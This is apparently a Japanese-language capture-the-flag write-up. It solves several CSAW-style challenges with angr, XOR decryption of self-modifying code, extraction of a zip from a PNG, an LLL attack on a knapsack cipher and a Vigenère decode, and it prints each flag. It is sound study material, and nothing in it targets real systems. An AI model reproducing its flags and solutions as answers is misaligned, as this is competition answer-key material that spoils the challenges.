        0010204e 01              ??         01h
        0010204f 7a              ??         7Ah    z
        00102050 00              ??         00h
        00102051 c3              ??         C3h
        00102052 1d              ??         1Dh
        00102053 00              ??         00h
        00102054 1b              ??         1Bh
        00102055 4e              ??         4Eh    N
        00102056 00              ??         00h
        00102057 01              ??         01h
        00102058 a7              ??         A7h
        00102059 00              ??         00h
        0010205a 11              ??         11h
        0010205b 91              ??         91h
        0010205c 02              ??         02h
        0010205d 00              ??         00h
        0010205e 6d              ??         6Dh    m
        0010205f 01              ??         01h
        00102060 02              ??         02h
        00102061 b2              ??         B2h
        00102062 01              ??         01h
        00102063 03              ??         03h
        00102064 7a              ??         7Ah    z
        00102065 01              ??         01h
        00102066 9e              ??         9Eh
        00102067 91              ??         91h
        00102068 00              ??         00h
                :
                :

条件がわかるので、angrで解く。

#!/usr/bin/env python3
import angr
import claripy

BIN = "./masterkey"
VM_ADDR = 0x402040
FLAG_LEN = 0x35

proj = angr.Project(BIN, auto_load_libs=False)

flag = [claripy.BVS(f"flag_{i}", 8) for i in range(FLAG_LEN)]

solver = claripy.Solver()

for c in flag:
    solver.add(c >= 0x20)
    solver.add(c <= 0x7e)

regs = [claripy.BVV(0, 8) for _ in range(8)]

vm = proj.loader.memory.load(VM_ADDR, 0x10000)

def rol8(x, n):
    n &= 7
    if n == 0:
        return x
    return (x << n) | claripy.LShR(x, 8 - n)

pc = 0
while True:
    op = vm[pc]
    a = vm[pc + 1]
    b = vm[pc + 2]

    pc += 3

    if op == 0x91:
        regs[a] = flag[b]
    elif op == 0x7a:
        regs[a] = regs[a] ^ b
    elif op == 0x4e:
        regs[a] = regs[a] ^ regs[b]
    elif op == 0x1d:
        regs[a] = regs[a] * b
    elif op == 0x24:
        regs[a] = regs[a] + b
    elif op == 0x6d:
        regs[a] = regs[a] + regs[b]
    elif op == 0xb2:
        regs[a] = rol8(regs[a], b)
    elif op == 0xa7:
        solver.add(regs[a] == b)
    elif op == 0xe0:
        break

assert solver.satisfiable()

result = bytearray()
for c in flag:
    value = solver.eval(c, 1)[0]
    result.append(value)

flag = result.decode()
print(flag)
csaw{cl1mb1ng_th3_v1rtu4l_st4ck_0n3_0pc0d3_4t_4_t1m3}

Autobahn (Rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  undefined8 uVar2;
  long lVar3;
  ulong local_10;
  
  if (param_1 == 2) {
    lVar3 = sysconf(0x1e);
    iVar1 = mprotect((void *)(-lVar3 & 0x40130dU),(long)&__stop_enccode - (long)(-lVar3 & 0x40130dU)
                     ,7);
    if (iVar1 == 0) {
      for (local_10 = 0; local_10 < 0x15e; local_10 = local_10 + 1) {
        secret_check[local_10] =
             (code)((byte)secret_check[local_10] ^
                   *(byte *)((long)&smc_key.0 + (ulong)((uint)local_10 & 7)));
      }
      secret_check(param_2[1]);
      uVar2 = 0;
    }
    else {
      perror("mprotect");
      uVar2 = 3;
    }
  }
  else {
    fprintf(stderr,"usage: %s <password>\n",*param_2);
    uVar2 = 2;
  }
  return uVar2;
}

                             smc_key.0                                       XREF[2]:     main:004012c5(*), 
                                                                                          main:004012cc(*)  
        004020a8 13 37 c0        undefined8 0DF0ADBADEC03713h
                 de ba ad 
                 f0 0d

アセンブリを見てみると、以下の部分で暗号化されているsecret_checkのコードを復号していることがわかる。

        0040122c 48 8d 05        LEA        RAX,[secret_check]
                 da 00 00 00
        00401233 48 89 45 e8     MOV        qword ptr [RBP + local_20],RAX=>secret_check
        00401237 48 8d 05        LEA        RAX,[__stop_enccode]
                 2d 02 00 00
        0040123e 48 8d 15        LEA        RDX,[secret_check]
                 c8 00 00 00
        00401245 48 29 d0        SUB        RAX,RDX
        00401248 48 89 45 e0     MOV        qword ptr [RBP + local_28],RAX
        0040124c 48 8b 45 f0     MOV        RAX,qword ptr [RBP + local_18]

復号対象はsecret_checkの先頭アドレス0x0040130d~0x40146bであることがわかる。smc_keyとXORして復号しているので、復号した保存する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('nitro', 'rb') as f:
    data = f.read()[0x130d:0x146b]

key = (0x0df0adbadec03713).to_bytes(8, 'little')

out = b''
for i in range(0, len(data), 8):
    d = data[i:i+8]
    if len(d) < 8:
        break
    out += strxor(d, key)

with open('out.bin', 'wb') as f:
    f.write(out)

この結果を逆アセンブルする。

$ objdump -D -b binary -m i386:x86-64 -M intel out.bin

out.bin:     ファイル形式 binary


セクション .data の逆アセンブル:

0000000000000000 <.data>:
   0:   f3 0f 1e fa             endbr64
   4:   55                      push   rbp
   5:   48 89 e5                mov    rbp,rsp
   8:   48 83 ec 70             sub    rsp,0x70
   c:   48 89 7d 98             mov    QWORD PTR [rbp-0x68],rdi
  10:   c6 45 dc 6e             mov    BYTE PTR [rbp-0x24],0x6e
  14:   c6 45 dd 32             mov    BYTE PTR [rbp-0x23],0x32
  18:   c6 45 de 6f             mov    BYTE PTR [rbp-0x22],0x6f
  1c:   c6 45 df 5f             mov    BYTE PTR [rbp-0x21],0x5f
  20:   c6 45 e0 62             mov    BYTE PTR [rbp-0x20],0x62
  24:   c6 45 e1 6f             mov    BYTE PTR [rbp-0x1f],0x6f
  28:   c6 45 e2 6f             mov    BYTE PTR [rbp-0x1e],0x6f
  2c:   c6 45 e3 73             mov    BYTE PTR [rbp-0x1d],0x73
  30:   c6 45 e4 74             mov    BYTE PTR [rbp-0x1c],0x74
  34:   c6 45 e5 00             mov    BYTE PTR [rbp-0x1b],0x0
  38:   c7 45 f8 01 00 00 00    mov    DWORD PTR [rbp-0x8],0x1
  3f:   c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
  46:   eb 2b                   jmp    0x73
  48:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4b:   48 63 d0                movsxd rdx,eax
  4e:   48 8b 45 98             mov    rax,QWORD PTR [rbp-0x68]
  52:   48 01 d0                add    rax,rdx
  55:   0f b6 10                movzx  edx,BYTE PTR [rax]
  58:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  5b:   48 98                   cdqe
  5d:   0f b6 44 05 dc          movzx  eax,BYTE PTR [rbp+rax*1-0x24]
  62:   38 c2                   cmp    dl,al
  64:   74 09                   je     0x6f
  66:   c7 45 f8 00 00 00 00    mov    DWORD PTR [rbp-0x8],0x0
  6d:   eb 0a                   jmp    0x79
  6f:   83 45 fc 01             add    DWORD PTR [rbp-0x4],0x1
  73:   83 7d fc 08             cmp    DWORD PTR [rbp-0x4],0x8
  77:   7e cf                   jle    0x48
  79:   83 7d f8 00             cmp    DWORD PTR [rbp-0x8],0x0
  7d:   74 16                   je     0x95
  7f:   48 8b 45 98             mov    rax,QWORD PTR [rbp-0x68]
  83:   48 83 c0 09             add    rax,0x9
  87:   0f b6 00                movzx  eax,BYTE PTR [rax]
  8a:   84 c0                   test   al,al
  8c:   74 07                   je     0x95
  8e:   c7 45 f8 00 00 00 00    mov    DWORD PTR [rbp-0x8],0x0
  95:   83 7d f8 00             cmp    DWORD PTR [rbp-0x8],0x0
  99:   75 14                   jne    0xaf
  9b:   48 8d 05 a1 0c 00 00    lea    rax,[rip+0xca1]        # 0xd43
  a2:   48 89 c7                mov    rdi,rax
  a5:   e8 d9 fc ff ff          call   0xfffffffffffffd83
  aa:   e9 ad 00 00 00          jmp    0x15c
  af:   48 8d 05 4a ff ff ff    lea    rax,[rip+0xffffffffffffff4a]        # 0x0
  b6:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  ba:   48 8d 05 9d 00 00 00    lea    rax,[rip+0x9d]        # 0x15e
  c1:   48 8d 15 38 ff ff ff    lea    rdx,[rip+0xffffffffffffff38]        # 0x0
  c8:   48 29 d0                sub    rax,rdx
  cb:   48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
  cf:   c6 45 e7 6b             mov    BYTE PTR [rbp-0x19],0x6b
  d3:   c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
  da:   eb 5b                   jmp    0x137
  dc:   8b 55 fc                mov    edx,DWORD PTR [rbp-0x4]
  df:   89 d0                   mov    eax,edx
  e1:   c1 e0 03                shl    eax,0x3
  e4:   29 d0                   sub    eax,edx
  e6:   83 c0 03                add    eax,0x3
  e9:   48 98                   cdqe
  eb:   ba 00 00 00 00          mov    edx,0x0
  f0:   48 f7 75 e8             div    QWORD PTR [rbp-0x18]
  f4:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
  f8:   48 01 d0                add    rax,rdx
  fb:   0f b6 10                movzx  edx,BYTE PTR [rax]
  fe:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
 101:   89 c1                   mov    ecx,eax
 103:   89 c8                   mov    eax,ecx
 105:   c1 e0 02                shl    eax,0x2
 108:   01 c8                   add    eax,ecx
 10a:   01 c2                   add    edx,eax
 10c:   0f b6 45 e7             movzx  eax,BYTE PTR [rbp-0x19]
 110:   01 d0                   add    eax,edx
 112:   88 45 e6                mov    BYTE PTR [rbp-0x1a],al
 115:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
 118:   48 98                   cdqe
 11a:   48 8d 15 f2 0b 00 00    lea    rdx,[rip+0xbf2]        # 0xd13
 121:   0f b6 04 10             movzx  eax,BYTE PTR [rax+rdx*1]
 125:   32 45 e6                xor    al,BYTE PTR [rbp-0x1a]
 128:   89 c2                   mov    edx,eax
 12a:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
 12d:   48 98                   cdqe
 12f:   88 54 05 a0             mov    BYTE PTR [rbp+rax*1-0x60],dl
 133:   83 45 fc 01             add    DWORD PTR [rbp-0x4],0x1
 137:   83 7d fc 2e             cmp    DWORD PTR [rbp-0x4],0x2e
 13b:   7e 9f                   jle    0xdc
 13d:   c6 45 cf 00             mov    BYTE PTR [rbp-0x31],0x0
 141:   48 8d 45 a0             lea    rax,[rbp-0x60]
 145:   48 89 c6                mov    rsi,rax
 148:   48 8d 05 1a 0c 00 00    lea    rax,[rip+0xc1a]        # 0xd69
 14f:   48 89 c7                mov    rdi,rax
 152:   b8 00 00 00 00          mov    eax,0x0
 157:   e8                      .byte 0xe8

以下の部分でパスワードを構成している。

  10:   c6 45 dc 6e             mov    BYTE PTR [rbp-0x24],0x6e
  14:   c6 45 dd 32             mov    BYTE PTR [rbp-0x23],0x32
  18:   c6 45 de 6f             mov    BYTE PTR [rbp-0x22],0x6f
  1c:   c6 45 df 5f             mov    BYTE PTR [rbp-0x21],0x5f
  20:   c6 45 e0 62             mov    BYTE PTR [rbp-0x20],0x62
  24:   c6 45 e1 6f             mov    BYTE PTR [rbp-0x1f],0x6f
  28:   c6 45 e2 6f             mov    BYTE PTR [rbp-0x1e],0x6f
  2c:   c6 45 e3 73             mov    BYTE PTR [rbp-0x1d],0x73
  30:   c6 45 e4 74             mov    BYTE PTR [rbp-0x1c],0x74
>>> s = [0x6e, 0x32, 0x6f, 0x5f, 0x62, 0x6f, 0x6f, 0x73, 0x74]
>>> ''.join([chr(c) for c in s])
'n2o_boost'

このパスワードを指定して実行する。

$ ./nitro n2o_boost
NITRO ENGAGED: csaw{c0d3_th4t_rewr1t3s_1ts3lf_c4nt_b3_tru5t3d}
csaw{c0d3_th4t_rewr1t3s_1ts3lf_c4nt_b3_tru5t3d}

Hemispheres (Forensics)

$ binwalk the_signal.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 720 x 400, 8-bit/color RGB, non-interlaced
170           0xAA            Zlib compressed data, default compression
8286          0x205E          Zip archive data, encrypted at least v2.0 to extract, compressed size: 55, uncompressed size: 41, name: flag.txt
8379          0x20BB          Zip archive data, encrypted at least v2.0 to extract, compressed size: 61, uncompressed size: 53, name: README.txt
8590          0x218E          End of Zip archive, footer length: 22

末尾にzipがくっついているので、切り出す。

$ dd if=the_signal.png of=flag.zip bs=1 skip=8286  
326+0 records in
326+0 records out
326 bytes copied, 0.0391435 s, 8.3 kB/s

zipにはパスワードがかかっている。

$ zsteg the_signal.png 
[?] 326 bytes of extra data after image end (IEND), offset = 0x205e
extradata:0         .. file: Zip archive data, made by v2.0, extract using at least v2.0, last modified ? 00 1980 00:00:00, uncompressed size 41, method=deflate
    00000000: 50 4b 03 04 14 00 01 00  08 00 00 00 00 00 56 9f  |PK............V.|
    00000010: ff 31 37 00 00 00 29 00  00 00 08 00 00 00 66 6c  |.17...).......fl|
    00000020: 61 67 2e 74 78 74 80 7e  1a 66 34 f0 de 34 93 84  |ag.txt.~.f4..4..|
    00000030: a1 75 48 d8 5e fe d0 24  a3 64 44 42 41 40 0f 6a  |.uH.^..$.dDBA@.j|
    00000040: 82 b1 16 29 aa 54 41 dc  c7 58 e3 3e ea 8a 5e 7d  |...).TA..X.>..^}|
    00000050: 5b 66 24 27 b1 4d 01 6b  03 58 7c 05 fe 50 4b 03  |[f$'.M.k.X|..PK.|
    00000060: 04 14 00 01 00 08 00 00  00 00 00 1c b2 27 6d 3d  |.............'m=|
    00000070: 00 00 00 35 00 00 00 0a  00 00 00 52 45 41 44 4d  |...5.......READM|
    00000080: 45 2e 74 78 74 91 8f 1c  75 01 46 4a 36 a7 75 73  |E.txt...u.FJ6.us|
    00000090: 83 3b ce 8a ed bd fc 3f  3b 41 15 29 40 5d 1d af  |.;.....?;A.)@]..|
    000000a0: ba aa 76 03 cb 59 70 78  a3 4c 0f 28 de 8c a6 0a  |..v..Ypx.L.(....|
    000000b0: 9b ab 5c be 09 e0 07 6a  de de ca 18 1e 74 51 47  |..\....j.....tQG|
    000000c0: d0 cc 50 4b 01 02 14 00  14 00 01 00 08 00 00 00  |..PK............|
    000000d0: 00 00 56 9f ff 31 37 00  00 00 29 00 00 00 08 00  |..V..17...).....|
    000000e0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000f0: 66 6c 61 67 2e 74 78 74  50 4b 01 02 14 00 14 00  |flag.txtPK......|
meta Comment        .. text: "Look past IEND for the lock. The key is in the pixels, not the words."
meta Software       .. text: "signal-station v2.0"
imagedata           .. text: "FGGvwwrpp"
b1,b,lsb,xy         .. text: "r3ad_b3tw33n_th3_p1x3ls"
b4,b,msb,xy         .. text: ["3" repeated 156 times]

以下の文字列を抽出できた。

r3ad_b3tw33n_th3_p1x3ls

これをzipのパスワードとして解凍してみる。

$ unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.txt password: 
  inflating: flag.txt                
  inflating: README.txt
$ cat flag.txt   
csaw{0n3_f1l3_tw0_truth5_p0lygl0t_m4g1c}
csaw{0n3_f1l3_tw0_truth5_p0lygl0t_m4g1c}

Secret Treaties (Crypto)

Merkle-Hellmanのナップサック暗号になっているので、LLLを使って復号する。

#!/usr/bin/env sage
from fpylll import IntegerMatrix, LLL, CVP

def solve_block(s, method='proved'):
    B = IntegerMatrix(n, n + 1)
    for i in range(n):
        for j in range(n + 1):
            B[i, j] = 0
        B[i, 0] = pub[i]
        B[i, i + 1] = 1

    LLL.reduction(B)
    target = [s] + [0] * n
    v = CVP.closest_vector(B, target, method=method)

    if v[0] == s and all(b in (0, 1) for b in v[1:]):
        return list(v[1:])
    return None

def bits_to_bytes(bits):
    out = b''
    for k in range(9):
        val = 0
        for b in bits[k * 8:(k + 1) * 8]:
            val = (val << 1) | b
        out += bytes([val])
    return out

with open('pubkey.txt', 'r') as f:
    pub = f.read().splitlines()[3:]

pub = [int(p) for p in pub]

with open('ciphertext.txt', 'r') as f:
    cts = f.read().splitlines()[1:]

cts = [int(c) for c in cts]

n = len(pub)

flag = b''
for idx, s in enumerate(cts):
    bits = solve_block(s)
    if bits is None:
        flag += b'*********'
    else:
        chunk = bits_to_bytes(bits)
        flag += chunk

flag = flag.rstrip(b'\x00').decode()
print(flag)

実行結果は以下の通り。

csaw{LLL_turns_kn4ps4cks_1nt0_p4nc4k*********3ns1ty_1s_l0w}

完全には復号できなかった。前後からわかる範囲で推測する。

3s_****_d

4文字をブルートフォースし、計算が合うものを探す。

#!/usr/bin/env python3
from itertools import *

def check(text, pub, c):
    b = ''
    for char in text:
        b += bin(ord(char))[2:].zfill(8)
    v = 0
    for i in range(len(pub)):
        if b[i] == '1':
            v += pub[i]
    return v == c

with open('pubkey.txt', 'r') as f:
    pub = f.read().splitlines()[3:]

pub = [int(p) for p in pub]

with open('ciphertext.txt', 'r') as f:
    cts = f.read().splitlines()[1:]

c = int(cts[4])

head_pt = '3s_'
tail_pt = '_d'

chars = [chr(x) for x in range(33, 127)]

flag_format = 'csaw{LLL_turns_kn4ps4cks_1nt0_p4nc4k%s3ns1ty_1s_l0w}'
for x in product(chars, repeat=4):
    text = head_pt + ''.join(x) + tail_pt
    if check(text, pub, c):
        flag = flag_format % text
        print(flag)
        break
csaw{LLL_turns_kn4ps4cks_1nt0_p4nc4k3s_wh3n_d3ns1ty_1s_l0w}

Finders Keepers! (Crypto)

動画を再生すると、途中base64文字列らしきものが見える。

Y2FudGZpbmRpdA==
$ echo Y2FudGZpbmRpdA== | base64 -d                                    
cantfindit

これは何かのパスワードか何かかもしれない。一旦置いておいて、EXIFを見てみる。

$ exiftool finderskeepers.mp4                             
ExifTool Version Number         : 13.25
File Name                       : finderskeepers.mp4
Directory                       : .
File Size                       : 1085 kB
File Modification Date/Time     : 2026:09:19 12:35:16+09:00
File Access Date/Time           : 2026:09:20 08:11:28+09:00
File Inode Change Date/Time     : 2026:09:19 12:35:16+09:00
File Permissions                : -rwxrwxrwx
File Type                       : MP4
File Type Extension             : mp4
MIME Type                       : video/mp4
Major Brand                     : MP4 Base Media v1 [IS0 14496-12:2003]
Minor Version                   : 0.2.0
Compatible Brands               : isom, iso2, avc1, mp41
Movie Header Version            : 0
Create Date                     : 0000:00:00 00:00:00
Modify Date                     : 0000:00:00 00:00:00
Time Scale                      : 1000
Duration                        : 9.39 s
Preferred Rate                  : 1
Preferred Volume                : 100.00%
Preview Time                    : 0 s
Preview Duration                : 0 s
Poster Time                     : 0 s
Selection Time                  : 0 s
Selection Duration              : 0 s
Current Time                    : 0 s
Next Track ID                   : 3
Track Header Version            : 0
Track Create Date               : 0000:00:00 00:00:00
Track Modify Date               : 0000:00:00 00:00:00
Track ID                        : 1
Track Duration                  : 9.37 s
Track Layer                     : 0
Track Volume                    : 0.00%
Image Width                     : 1920
Image Height                    : 1080
Graphics Mode                   : srcCopy
Op Color                        : 0 0 0
Compressor ID                   : avc1
Source Image Width              : 1920
Source Image Height             : 1080
X Resolution                    : 72
Y Resolution                    : 72
Bit Depth                       : 24
Color Profiles                  : nclx
Color Primaries                 : BT.709
Transfer Characteristics        : BT.709
Matrix Coefficients             : BT.709
Video Full Range Flag           : Limited
Buffer Size                     : 0
Max Bitrate                     : 911158
Average Bitrate                 : 911158
Video Frame Rate                : 30
Matrix Structure                : 1 0 0 0 1 0 0 0 1
Media Header Version            : 0
Media Create Date               : 0000:00:00 00:00:00
Media Modify Date               : 0000:00:00 00:00:00
Media Time Scale                : 48000
Media Duration                  : 9.41 s
Media Language Code             : und
Handler Type                    : Audio Track
Handler Description             : SoundHandler
Balance                         : 0
Audio Format                    : mp4a
Audio Channels                  : 2
Audio Bits Per Sample           : 16
Audio Sample Rate               : 48000
XMP Toolkit                     : Image::ExifTool 13.55
Ads Created                     : 2026-09-17
Ads Ext Id                      : 2cbbda73-7b0e-4035-9ecb-68d5fc31706c
Ads Fb Id                       : 525265914179580
Ads Touch Type                  : 2
Subject                         : ZXNucHtkMGNfQHl6QGdsX21uMGpfcG0zejNfZzBfbzAwc30=
Creator Tool                    : Canva engine=nve
Media Data Size                 : 1069495
Media Data Offset               : 15190
Image Size                      : 1920x1080
Megapixels                      : 2.1
Avg Bitrate                     : 912 kbps
Rotation                        : 0

Subjectにbase64文字列があるので、デコードする。

$ echo ZXNucHtkMGNfQHl6QGdsX21uMGpfcG0zejNfZzBfbzAwc30= | base64 -d
esnp{d0c_@yz@gl_mn0j_pm3z3_g0_o00s}

シーザー暗号では復号できなかったので、Vigenere暗号と推測する。先ほどの cantfindit を鍵として、https://www.dcode.fr/vigenere-cipherで復号する。

csaw{y0u_@lw@ys_kn0w_wh3r3_t0_l00k}